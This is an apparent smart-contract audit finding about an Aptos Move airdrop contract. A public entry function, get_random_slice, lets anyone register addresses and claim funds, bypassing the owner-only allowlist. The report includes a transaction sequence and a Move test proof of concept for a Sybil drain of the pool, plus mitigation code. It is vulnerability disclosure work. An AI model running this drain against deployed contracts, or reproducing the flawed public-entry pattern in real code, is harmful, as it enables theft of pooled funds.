Beginner FriendlyGameFi
100 EXP
View results
Submission Details
Severity: high
Valid

Public randomness bypass lets anyone self-register & claim

Root + Impact

Description

Normal behavior: The owner should be the only party who can register users (allowlist) before they can claim. This is reflected in register_pizza_lover which checks E_NOT_OWNER.


Issue: The actual state-mutating “registration” occurs inside a public entry function get_random_slice(user_addr) that writes the user → amount mapping. Anyone can call it directly to self-register (or register arbitrary addresses) and then call claim_pizza_slice to receive funds.


// Owner wrapper
public entry fun register_pizza_lover(owner: &signer, user: address) acquires State {
assert!(signer::address_of(owner) == state.owner, E_NOT_OWNER);
get_random_slice(user); // <-- calls public entry below
event::emit(PizzaLoverRegistered { user });
}
// PUBLICLY CALLABLE registration writer
#[randomness]
entry fun get_random_slice(user_addr: address) acquires State {
let time = timestamp::now_microseconds();
let random_amount = 100 + (time % 401);
table::add(&mut state.users_claimed_amount, user_addr, random_amount); // <-- registers
}
// Claim checks only "registered" & "not claimed", then transfers
public entry fun claim_pizza_slice(user: &signer) acquires State {
assert!(table::contains(&state.users_claimed_amount, user_addr), E_NOT_REGISTERED);
assert!(!table::contains(&state.claimed_users, user_addr), E_ALREADY_CLAIMED);
// ... transfer & mark claimed ...
}

Risk

Likelihood:

  • Called by any user at any time because get_random_slice is a public entry that mutates registration state.

  • Follow-up claim succeeds because claim_pizza_slice only checks registration/claimed tables, not who registered the user.

Impact:

  • Financial loss: Sybil attacker registers many fresh addresses and drains the pool under the per-address random cap.

  • Policy violation/DoS: Intended owner-managed allowlist is bypassed; legitimate users may be crowded out.

Reference Files:

Proof of Concept

Tx sequence (non-privileged):

  1. txn_1: Attacker calls get_random_slice(attacker_addr)users_claimed_amount[attacker_addr] set.

  2. txn_2: Attacker calls claim_pizza_slice(&signer) → passes checks and receives coins.

  3. Repeat steps 1–2 across a batch of fresh addresses to drain the pool.


// === POC #1: Public-randomness bypass → self-register & claim succeeds ===
// Confirms: Anyone can call `get_random_slice(addr)` to register `addr`,
// then call `claim_pizza_slice(&signer)` and receive funds (no owner needed).
#[test(deployer = @pizza_drop, attacker = @0xa11ce, framework = @0x1)]
fun test_public_randomness_bypass_self_register_and_claim(
deployer: &signer,
attacker: &signer,
framework: &signer
) acquires State, ModuleData {
use aptos_framework::{account, timestamp, aptos_coin};
use aptos_framework::coin;
// Boot test env (time + APT minting)
timestamp::set_time_has_started_for_testing(framework);
let (_burn, mint) = aptos_coin::initialize_for_test(framework);
// Create accounts
account::create_account_for_test(@pizza_drop);
account::create_account_for_test(signer::address_of(attacker));
// Init module
init_module(deployer);
// Fund contract from owner (enough to pay out many claims)
let fund = 1_000_000; // 0.01 APT in octas
let coins = coin::mint<AptosCoin>(fund, &mint);
coin::register<AptosCoin>(deployer);
coin::deposit<AptosCoin>(@pizza_drop, coins);
fund_pizza_drop(deployer, fund);
// Attacker self-registers by calling the PUBLIC `entry` randomness function
let a = signer::address_of(attacker);
get_random_slice(a);
assert!(is_registered(a), 100); // proves bypassed owner allowlist
// Ensure attacker has APT CoinStore for receiving
if (!coin::is_account_registered<AptosCoin>(a)) {
coin::register<AptosCoin>(attacker);
};
let before = coin::balance<AptosCoin>(a);
// Claim succeeds (no owner involvement)
claim_pizza_slice(attacker);
let after = coin::balance<AptosCoin>(a);
let delta = after - before;
// Validate that a transfer happened and that it matches the "100..500" range
// → shows that registration fully worked via the public path
assert!(delta >= 100 && delta <= 500, 101);
}

Recommended Mitigation

Make the randomness/registration writer non-entry (internal) and only callable from the owner-gated path; or keep entry but enforce the owner gate inside it and ensure caller/address binding.

// 1) Make registration internal (preferred)
fun write_random_registration(state: &mut State, user: address) {
let time = timestamp::now_microseconds();
let random_amount = 100 + (time % 401);
table::add(&mut state.users_claimed_amount, user, random_amount);
}
public entry fun register_pizza_lover(owner:&signer, user:address) acquires State {
let state = borrow_global_mut<State>(get_resource_address());
assert!(signer::address_of(owner) == state.owner, E_NOT_OWNER);
write_random_registration(&mut state, user);
event::emit(PizzaLoverRegistered { user });
}
// 2) If keeping an entry, enforce owner explicitly:
public entry fun get_random_slice(owner:&signer, user:address) acquires State {
let state = borrow_global_mut<State>(get_resource_address());
assert!(signer::address_of(owner) == state.owner, E_NOT_OWNER);
write_random_registration(&mut state, user);
}
Updates

Appeal created

bube Lead Judge 10 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Anyone can call `get_random_slice` function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.